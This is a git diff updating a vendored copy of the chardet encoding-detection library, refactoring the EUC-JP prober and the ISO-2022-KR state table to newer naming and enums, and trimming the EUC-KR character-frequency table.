3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 10-17 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 20-27 ) -ISO2022KRCharLenTable = (0, 0, 0, 0, 0, 0) +ISO2022KR_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +ISO2022KR_SM_MODEL = {'class_table': ISO2022KR_CLS, + 'class_factor': 6, + 'state_table': ISO2022KR_ST, + 'char_len_table': ISO2022KR_CHAR_LEN_TABLE, + 'name': "ISO-2022-KR", + 'language': 'Korean'} -ISO2022KRSMModel = {'classTable': ISO2022KR_cls, - 'classFactor': 6, - 'stateTable': ISO2022KR_st, - 'charLenTable': ISO2022KRCharLenTable, - 'name': "ISO-2022-KR"} -# flake8: noqa diff --git a/thirdparty/chardet/eucjpprober.py b/thirdparty/chardet/eucjpprober.py index 2d5b2701c60..20ce8f7d15b 100644 --- a/thirdparty/chardet/eucjpprober.py +++ b/thirdparty/chardet/eucjpprober.py @@ -25,66 +25,68 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import sys -from . import constants +from .enums import ProbingState, MachineState from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCJPDistributionAnalysis from .jpcntx import EUCJPContextAnalysis -from .mbcssm import EUCJPSMModel +from .mbcssm import EUCJP_SM_MODEL class EUCJPProber(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(EUCJPSMModel) - self._mDistributionAnalyzer = EUCJPDistributionAnalysis() - self._mContextAnalyzer = EUCJPContextAnalysis() + super(EUCJPProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCJP_SM_MODEL) + self.distribution_analyzer = EUCJPDistributionAnalysis() + self.context_analyzer = EUCJPContextAnalysis() self.reset() def reset(self): - MultiByteCharSetProber.reset(self) - self._mContextAnalyzer.reset() + super(EUCJPProber, self).reset() + self.context_analyzer.reset() - def get_charset_name(self): + @property + def charset_name(self): return "EUC-JP" - def feed(self, aBuf): - aLen = len(aBuf) - for i in xrange(0, aLen): - # PY3K: aBuf is a byte array, so aBuf[i] is an int, not a byte - codingState = self._mCodingSM.next_state(aBuf[i]) - if codingState == constants.eError: - if constants._debug: - sys.stderr.write(self.get_charset_name() - + ' prober hit error at byte ' + str(i) - + '\n') - self._mState = constants.eNotMe + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + # PY3K: byte_str is a byte array, so byte_str[i] is an int, not a byte + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME break - elif codingState == constants.eItsMe: - self._mState = constants.eFoundIt + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT break - elif codingState == constants.eStart: - charLen = self._mCodingSM.get_current_charlen() + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() if i == 0: - self._mLastChar[1] = aBuf[0] - self._mContextAnalyzer.feed(self._mLastChar, charLen) - self._mDistributionAnalyzer.feed(self._mLastChar, charLen) + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char, char_len) + self.distribution_analyzer.feed(self._last_char, char_len) else: - self._mContextAnalyzer.feed(aBuf[i - 1:i + 1], charLen) - self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], - charLen) + self.context_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) - self._mLastChar[0] = aBuf[aLen - 1] + self._last_char[0] = byte_str[-1] - if self.get_state() == constants.eDetecting: - if (self._mContextAnalyzer.got_enough_data() and - (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): - self._mState = constants.eFoundIt + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT - return self.get_state() + return self.state def get_confidence(self): - contxtCf = self._mContextAnalyzer.get_confidence() - distribCf = self._mDistributionAnalyzer.get_confidence() - return max(contxtCf, distribCf) + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/thirdparty/chardet/euckrfreq.py b/thirdparty/chardet/euckrfreq.py index a179e4c21c0..b68078cb968 100644 --- a/thirdparty/chardet/euckrfreq.py +++ b/thirdparty/chardet/euckrfreq.py @@ -13,12 +13,12 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA @@ -35,15 +35,15 @@ # # Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 # Random Distribution Ration = 512 / (2350-512) = 0.279. -# -# Typical Distribution Ratio +# +# Typical Distribution Ratio EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 EUCKR_TABLE_SIZE = 2352 -# Char to FreqOrder table , -EUCKRCharToFreqOrder = ( \ +# Char to FreqOrder table , +EUCKR_CHAR_TO_FREQ_ORDER = ( 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, 1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, 1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, @@ -191,406 +191,5 @@ 1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, 2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 -#Everything below is of no interest for detection purpose -2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656,2657,2658, -2659,2660,2661,2662,2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674, -2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,2688,2689,2690, -2691,2692,2693,2694,2695,2696,2697,2698,2699,1542, 880,2700,2701,2702,2703,2704, -2705,2706,2707,2708,2709,2710,2711,2712,2713,2714,2715,2716,2717,2718,2719,2720, -2721,2722,2723,2724,2725,1543,2726,2727,2728,2729,2730,2731,2732,1544,2733,2734, -2735,2736,2737,2738,2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750, -2751,2752,2753,2754,1545,2755,2756,2757,2758,2759,2760,2761,2762,2763,2764,2765, -2766,1546,2767,1547,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779, -2780,2781,2782,2783,2784,2785,2786,1548,2787,2788,2789,1109,2790,2791,2792,2793, -2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809, -2810,2811,2812,1329,2813,2814,2815,2816,2817,2818,2819,2820,2821,2822,2823,2824, -2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838,2839,2840, -2841,2842,2843,2844,2845,2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856, -1549,2857,2858,2859,2860,1550,2861,2862,1551,2863,2864,2865,2866,2867,2868,2869, -2870,2871,2872,2873,2874,1110,1330,2875,2876,2877,2878,2879,2880,2881,2882,2883, -2884,2885,2886,2887,2888,2889,2890,2891,2892,2893,2894,2895,2896,2897,2898,2899, -2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915, -2916,2917,2918,2919,2920,2921,2922,2923,2924,2925,2926,2927,2928,2929,2930,1331, -2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,1552,2944,2945, -2946,2947,2948,2949,2950,2951,2952,2953,2954,2955,2956,2957,2958,2959,2960,2961, -2962,2963,2964,1252,2965,2966,2967,2968,2969,2970,2971,2972,2973,2974,2975,2976, -2977,2978,2979,2980,2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992, -2993,2994,2995,2996,2997,2998,2999,3000,3001,3002,3003,3004,3005,3006,3007,3008, -3009,3010,3011,3012,1553,3013,3014,3015,3016,3017,1554,3018,1332,3019,3020,3021, -3022,3023,3024,3025,3026,3027,3028,3029,3030,3031,3032,3033,3034,3035,3036,3037, -3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,1555,3051,3052, -3053,1556,1557,3054,3055,3056,3057,3058,3059,3060,3061,3062,3063,3064,3065,3066, -3067,1558,3068,3069,3070,3071,3072,3073,3074,3075,3076,1559,3077,3078,3079,3080, -3081,3082,3083,1253,3084,3085,3086,3087,3088,3089,3090,3091,3092,3093,3094,3095, -3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108,1152,3109,3110, -3111,3112,3113,1560,3114,3115,3116,3117,1111,3118,3119,3120,3121,3122,3123,3124, -3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140, -3141,3142,3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156, -3157,3158,3159,3160,3161,3162,3163,3164,3165,3166,3167,3168,3169,3170,3171,3172, -3173,3174,3175,3176,1333,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187, -3188,3189,1561,3190,3191,1334,3192,3193,3194,3195,3196,3197,3198,3199,3200,3201, -3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216,3217, -3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233, -3234,1562,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248, -3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264, -3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,1563,3278,3279, -3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295, -3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311, -3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327, -3328,3329,3330,3331,3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343, -3344,3345,3346,3347,3348,3349,3350,3351,3352,3353,3354,3355,3356,3357,3358,3359, -3360,3361,3362,3363,3364,1335,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374, -3375,3376,3377,3378,3379,3380,3381,3382,3383,3384,3385,3386,3387,1336,3388,3389, -3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404,3405, -3406,3407,3408,3409,3410,3411,3412,3413,3414,1337,3415,3416,3417,3418,3419,1338, -3420,3421,3422,1564,1565,3423,3424,3425,3426,3427,3428,3429,3430,3431,1254,3432, -3433,3434,1339,3435,3436,3437,3438,3439,1566,3440,3441,3442,3443,3444,3445,3446, -3447,3448,3449,3450,3451,3452,3453,3454,1255,3455,3456,3457,3458,3459,1567,1191, -3460,1568,1569,3461,3462,3463,1570,3464,3465,3466,3467,3468,1571,3469,3470,3471, -3472,3473,1572,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485,3486, -1340,3487,3488,3489,3490,3491,3492,1021,3493,3494,3495,3496,3497,3498,1573,3499, -1341,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,1342,3512,3513, -3514,3515,3516,1574,1343,3517,3518,3519,1575,3520,1576,3521,3522,3523,3524,3525, -3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539,3540,3541, -3542,3543,3544,3545,3546,3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557, -3558,3559,3560,3561,3562,3563,3564,3565,3566,3567,3568,3569,3570,3571,3572,3573, -3574,3575,3576,3577,3578,3579,3580,1577,3581,3582,1578,3583,3584,3585,3586,3587, -3588,3589,3590,3591,3592,3593,3594,3595,3596,3597,3598,3599,3600,3601,3602,3603, -3604,1579,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618, -3619,3620,3621,3622,3623,3624,3625,3626,3627,3628,3629,1580,3630,3631,1581,3632, -3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647,3648, -3649,3650,3651,3652,3653,3654,3655,3656,1582,3657,3658,3659,3660,3661,3662,3663, -3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674,3675,3676,3677,3678,3679, -3680,3681,3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695, -3696,3697,3698,3699,3700,1192,3701,3702,3703,3704,1256,3705,3706,3707,3708,1583, -1257,3709,3710,3711,3712,3713,3714,3715,3716,1584,3717,3718,3719,3720,3721,3722, -3723,3724,3725,3726,3727,3728,3729,3730,3731,3732,3733,3734,3735,3736,3737,3738, -3739,3740,3741,3742,3743,3744,3745,1344,3746,3747,3748,3749,3750,3751,3752,3753, -3754,3755,3756,1585,3757,3758,3759,3760,3761,3762,3763,3764,3765,3766,1586,3767, -3768,3769,3770,3771,3772,3773,3774,3775,3776,3777,3778,1345,3779,3780,3781,3782, -3783,3784,3785,3786,3787,3788,3789,3790,3791,3792,3793,3794,3795,1346,1587,3796, -3797,1588,3798,3799,3800,3801,3802,3803,3804,3805,3806,1347,3807,3808,3809,3810, -3811,1589,3812,3813,3814,3815,3816,3817,3818,3819,3820,3821,1590,3822,3823,1591, -1348,3824,3825,3826,3827,3828,3829,3830,1592,3831,3832,1593,3833,3834,3835,3836, -3837,3838,3839,3840,3841,3842,3843,3844,1349,3845,3846,3847,3848,3849,3850,3851, -3852,3853,3854,3855,3856,3857,3858,1594,3859,3860,3861,3862,3863,3864,3865,3866, -3867,3868,3869,1595,3870,3871,3872,3873,1596,3874,3875,3876,3877,3878,3879,3880, -3881,3882,3883,3884,3885,3886,1597,3887,3888,3889,3890,3891,3892,3893,3894,3895, -1598,3896,3897,3898,1599,1600,3899,1350,3900,1351,3901,3902,1352,3903,3904,3905, -3906,3907,3908,3909,3910,3911,3912,3913,3914,3915,3916,3917,3918,3919,3920,3921, -3922,3923,3924,1258,3925,3926,3927,3928,3929,3930,3931,1193,3932,1601,3933,3934, -3935,3936,3937,3938,3939,3940,3941,3942,3943,1602,3944,3945,3946,3947,3948,1603, -3949,3950,3951,3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964, -3965,1604,3966,3967,3968,3969,3970,3971,3972,3973,3974,3975,3976,3977,1353,3978, -3979,3980,3981,3982,3983,3984,3985,3986,3987,3988,3989,3990,3991,1354,3992,3993, -3994,3995,3996,3997,3998,3999,4000,4001,4002,4003,4004,4005,4006,4007,4008,4009, -4010,4011,4012,4013,4014,4015,4016,4017,4018,4019,4020,4021,4022,4023,1355,4024, -4025,4026,4027,4028,4029,4030,4031,4032,4033,4034,4035,4036,4037,4038,4039,4040, -1605,4041,4042,4043,4044,4045,4046,4047,4048,4049,4050,4051,4052,4053,4054,4055, -4056,4057,4058,4059,4060,1606,4061,4062,4063,4064,1607,4065,4066,4067,4068,4069, -4070,4071,4072,4073,4074,4075,4076,1194,4077,4078,1608,4079,4080,4081,4082,4083, -4084,4085,4086,4087,1609,4088,4089,4090,4091,4092,4093,4094,4095,4096,4097,4098, -4099,4100,4101,4102,4103,4104,4105,4106,4107,4108,1259,4109,4110,4111,4112,4113, -4114,4115,4116,4117,4118,4119,4120,4121,4122,4123,4124,1195,4125,4126,4127,1610, -4128,4129,4130,4131,4132,4133,4134,4135,4136,4137,1356,4138,4139,4140,4141,4142, -4143,4144,1611,4145,4146,4147,4148,4149,4150,4151,4152,4153,4154,4155,4156,4157, -4158,4159,4160,4161,4162,4163,4164,4165,4166,4167,4168,4169,4170,4171,4172,4173, -4174,4175,4176,4177,4178,4179,4180,4181,4182,4183,4184,4185,4186,4187,4188,4189, -4190,4191,4192,4193,4194,4195,4196,4197,4198,4199,4200,4201,4202,4203,4204,4205, -4206,4207,4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,1612,4220, -4221,4222,4223,4224,4225,4226,4227,1357,4228,1613,4229,4230,4231,4232,4233,4234, -4235,4236,4237,4238,4239,4240,4241,4242,4243,1614,4244,4245,4246,4247,4248,4249, -4250,4251,4252,4253,4254,4255,4256,4257,4258,4259,4260,4261,4262,4263,4264,4265, -4266,4267,4268,4269,4270,1196,1358,4271,4272,4273,4274,4275,4276,4277,4278,4279, -4280,4281,4282,4283,4284,4285,4286,4287,1615,4288,4289,4290,4291,4292,4293,4294, -4295,4296,4297,4298,4299,4300,4301,4302,4303,4304,4305,4306,4307,4308,4309,4310, -4311,4312,4313,4314,4315,4316,4317,4318,4319,4320,4321,4322,4323,4324,4325,4326, -4327,4328,4329,4330,4331,4332,4333,4334,1616,4335,4336,4337,4338,4339,4340,4341, -4342,4343,4344,4345,4346,4347,4348,4349,4350,4351,4352,4353,4354,4355,4356,4357, -4358,4359,4360,1617,4361,4362,4363,4364,4365,1618,4366,4367,4368,4369,4370,4371, -4372,4373,4374,4375,4376,4377,4378,4379,4380,4381,4382,4383,4384,4385,4386,4387, -4388,4389,4390,4391,4392,4393,4394,4395,4396,4397,4398,4399,4400,4401,4402,4403, -4404,4405,4406,4407,4408,4409,4410,4411,4412,4413,4414,4415,4416,1619,4417,4418, -4419,4420,4421,4422,4423,4424,4425,1112,4426,4427,4428,4429,4430,1620,4431,4432, -4433,4434,4435,4436,4437,4438,4439,4440,4441,4442,1260,1261,4443,4444,4445,4446, -4447,4448,4449,4450,4451,4452,4453,4454,4455,1359,4456,4457,4458,4459,4460,4461, -4462,4463,4464,4465,1621,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476, -4477,4478,4479,4480,4481,4482,4483,4484,4485,4486,4487,4488,4489,1055,4490,4491, -4492,4493,4494,4495,4496,4497,4498,4499,4500,4501,4502,4503,4504,4505,4506,4507, -4508,4509,4510,4511,4512,4513,4514,4515,4516,4517,4518,1622,4519,4520,4521,1623, -4522,4523,4524,4525,4526,4527,4528,4529,4530,4531,4532,4533,4534,4535,1360,4536, -4537,4538,4539,4540,4541,4542,4543, 975,4544,4545,4546,4547,4548,4549,4550,4551, -4552,4553,4554,4555,4556,4557,4558,4559,4560,4561,4562,4563,4564,4565,4566,4567, -4568,4569,4570,4571,1624,4572,4573,4574,4575,4576,1625,4577,4578,4579,4580,4581, -4582,4583,4584,1626,4585,4586,4587,4588,4589,4590,4591,4592,4593,4594,4595,1627, -4596,4597,4598,4599,4600,4601,4602,4603,4604,4605,4606,4607,4608,4609,4610,4611, -4612,4613,4614,4615,1628,4616,4617,4618,4619,4620,4621,4622,4623,4624,4625,4626, -4627,4628,4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639,4640,4641,4642, -4643,4644,4645,4646,4647,4648,4649,1361,4650,4651,4652,4653,4654,4655,4656,4657, -4658,4659,4660,4661,1362,4662,4663,4664,4665,4666,4667,4668,4669,4670,4671,4672, -4673,4674,4675,4676,4677,4678,4679,4680,4681,4682,1629,4683,4684,4685,4686,4687, -1630,4688,4689,4690,4691,1153,4692,4693,4694,1113,4695,4696,4697,4698,4699,4700, -4701,4702,4703,4704,4705,4706,4707,4708,4709,4710,4711,1197,4712,4713,4714,4715, -4716,4717,4718,4719,4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731, -4732,4733,4734,4735,1631,4736,1632,4737,4738,4739,4740,4741,4742,4743,4744,1633, -4745,4746,4747,4748,4749,1262,4750,4751,4752,4753,4754,1363,4755,4756,4757,4758, -4759,4760,4761,4762,4763,4764,4765,4766,4767,4768,1634,4769,4770,4771,4772,4773, -4774,4775,4776,4777,4778,1635,4779,4780,4781,4782,4783,4784,4785,4786,4787,4788, -4789,1636,4790,4791,4792,4793,4794,4795,4796,4797,4798,4799,4800,4801,4802,4803, -4804,4805,4806,1637,4807,4808,4809,1638,4810,4811,4812,4813,4814,4815,4816,4817, -4818,1639,4819,4820,4821,4822,4823,4824,4825,4826,4827,4828,4829,4830,4831,4832, -4833,1077,4834,4835,4836,4837,4838,4839,4840,4841,4842,4843,4844,4845,4846,4847, -4848,4849,4850,4851,4852,4853,4854,4855,4856,4857,4858,4859,4860,4861,4862,4863, -4864,4865,4866,4867,4868,4869,4870,4871,4872,4873,4874,4875,4876,4877,4878,4879, -4880,4881,4882,4883,1640,4884,4885,1641,4886,4887,4888,4889,4890,4891,4892,4893, -4894,4895,4896,4897,4898,4899,4900,4901,4902,4903,4904,4905,4906,4907,4908,4909, -4910,4911,1642,4912,4913,4914,1364,4915,4916,4917,4918,4919,4920,4921,4922,4923, -4924,4925,4926,4927,4928,4929,4930,4931,1643,4932,4933,4934,4935,4936,4937,4938, -4939,4940,4941,4942,4943,4944,4945,4946,4947,4948,4949,4950,4951,4952,4953,4954, -4955,4956,4957,4958,4959,4960,4961,4962,4963,4964,4965,4966,4967,4968,4969,4970, -4971,4972,4973,4974,4975,4976,4977,4978,4979,4980,1644,4981,4982,4983,4984,1645, -4985,4986,1646,4987,4988,4989,4990,4991,4992,4993,4994,4995,4996,4997,4998,4999, -5000,5001,5002,5003,5004,5005,1647,5006,1648,5007,5008,5009,5010,5011,5012,1078, -5013,5014,5015,5016,5017,5018,5019,5020,5021,5022,5023,5024,5025,5026,5027,5028, -1365,5029,5030,5031,5032,5033,5034,5035,5036,5037,5038,5039,1649,5040,5041,5042, -5043,5044,5045,1366,5046,5047,5048,5049,5050,5051,5052,5053,5054,5055,1650,5056, -5057,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5070,5071,5072, -5073,5074,5075,5076,5077,1651,5078,5079,5080,5081,5082,5083,5084,5085,5086,5087, -5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102,5103, -5104,5105,5106,5107,5108,5109,5110,1652,5111,5112,5113,5114,5115,5116,5117,5118, -1367,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,1653,5130,5131,5132, -5133,5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148, -5149,1368,5150,1654,5151,1369,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161, -5162,5163,5164,5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,5176,5177, -5178,1370,5179,5180,5181,5182,5183,5184,5185,5186,5187,5188,5189,5190,5191,5192, -5193,5194,5195,5196,5197,5198,1655,5199,5200,5201,5202,1656,5203,5204,5205,5206, -1371,5207,1372,5208,5209,5210,5211,1373,5212,5213,1374,5214,5215,5216,5217,5218, -5219,5220,5221,5222,5223,5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234, -5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,1657,5248,5249, -5250,5251,1658,1263,5252,5253,5254,5255,5256,1375,5257,5258,5259,5260,5261,5262, -5263,5264,5265,5266,5267,5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278, -5279,5280,5281,5282,5283,1659,5284,5285,5286,5287,5288,5289,5290,5291,5292,5293, -5294,5295,5296,5297,5298,5299,5300,1660,5301,5302,5303,5304,5305,5306,5307,5308, -5309,5310,5311,5312,5313,5314,5315,5316,5317,5318,5319,5320,5321,1376,5322,5323, -5324,5325,5326,5327,5328,5329,5330,5331,5332,5333,1198,5334,5335,5336,5337,5338, -5339,5340,5341,5342,5343,1661,5344,5345,5346,5347,5348,5349,5350,5351,5352,5353, -5354,5355,5356,5357,5358,5359,5360,5361,5362,5363,5364,5365,5366,5367,5368,5369, -5370,5371,5372,5373,5374,5375,5376,5377,5378,5379,5380,5381,5382,5383,5384,5385, -5386,5387,5388,5389,5390,5391,5392,5393,5394,5395,5396,5397,5398,1264,5399,5400, -5401,5402,5403,5404,5405,5406,5407,5408,5409,5410,5411,5412,1662,5413,5414,5415, -5416,1663,5417,5418,5419,5420,5421,5422,5423,5424,5425,5426,5427,5428,5429,5430, -5431,5432,5433,5434,5435,5436,5437,5438,1664,5439,5440,5441,5442,5443,5444,5445, -5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456,5457,5458,5459,5460,5461, -5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472,5473,5474,5475,5476,5477, -5478,1154,5479,5480,5481,5482,5483,5484,5485,1665,5486,5487,5488,5489,5490,5491, -5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504,5505,5506,5507, -5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520,5521,5522,5523, -5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536,5537,5538,5539, -5540,5541,5542,5543,5544,5545,5546,5547,5548,1377,5549,5550,5551,5552,5553,5554, -5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568,5569,5570, -1114,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584,5585, -5586,5587,5588,5589,5590,5591,5592,1378,5593,5594,5595,5596,5597,5598,5599,5600, -5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,1379,5615, -5616,5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631, -5632,5633,5634,1380,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646, -5647,5648,5649,1381,1056,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660, -1666,5661,5662,5663,5664,5665,5666,5667,5668,1667,5669,1668,5670,5671,5672,5673, -5674,5675,5676,5677,5678,1155,5679,5680,5681,5682,5683,5684,5685,5686,5687,5688, -5689,5690,5691,5692,5693,5694,5695,5696,5697,5698,1669,5699,5700,5701,5702,5703, -5704,5705,1670,5706,5707,5708,5709,5710,1671,5711,5712,5713,5714,1382,5715,5716, -5717,5718,5719,5720,5721,5722,5723,5724,5725,1672,5726,5727,1673,1674,5728,5729, -5730,5731,5732,5733,5734,5735,5736,1675,5737,5738,5739,5740,5741,5742,5743,5744, -1676,5745,5746,5747,5748,5749,5750,5751,1383,5752,5753,5754,5755,5756,5757,5758, -5759,5760,5761,5762,5763,5764,5765,5766,5767,5768,1677,5769,5770,5771,5772,5773, -1678,5774,5775,5776, 998,5777,5778,5779,5780,5781,5782,5783,5784,5785,1384,5786, -5787,5788,5789,5790,5791,5792,5793,5794,5795,5796,5797,5798,5799,5800,1679,5801, -5802,5803,1115,1116,5804,5805,5806,5807,5808,5809,5810,5811,5812,5813,5814,5815, -5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828,5829,5830,5831, -5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844,5845,5846,5847, -5848,5849,5850,5851,5852,5853,5854,5855,1680,5856,5857,5858,5859,5860,5861,5862, -5863,5864,1681,5865,5866,5867,1682,5868,5869,5870,5871,5872,5873,5874,5875,5876, -5877,5878,5879,1683,5880,1684,5881,5882,5883,5884,1685,5885,5886,5887,5888,5889, -5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905, -5906,5907,1686,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, -5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,1687, -5936,5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951, -5952,1688,1689,5953,1199,5954,5955,5956,5957,5958,5959,5960,5961,1690,5962,5963, -5964,5965,5966,5967,5968,5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979, -5980,5981,1385,5982,1386,5983,5984,5985,5986,5987,5988,5989,5990,5991,5992,5993, -5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009, -6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020,6021,6022,6023,6024,6025, -6026,6027,1265,6028,6029,1691,6030,6031,6032,6033,6034,6035,6036,6037,6038,6039, -6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052,6053,6054,6055, -6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068,6069,6070,6071, -6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084,1692,6085,6086, -6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100,6101,6102, -6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118, -6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,1693,6132,6133, -6134,6135,6136,1694,6137,6138,6139,6140,6141,1695,6142,6143,6144,6145,6146,6147, -6148,6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163, 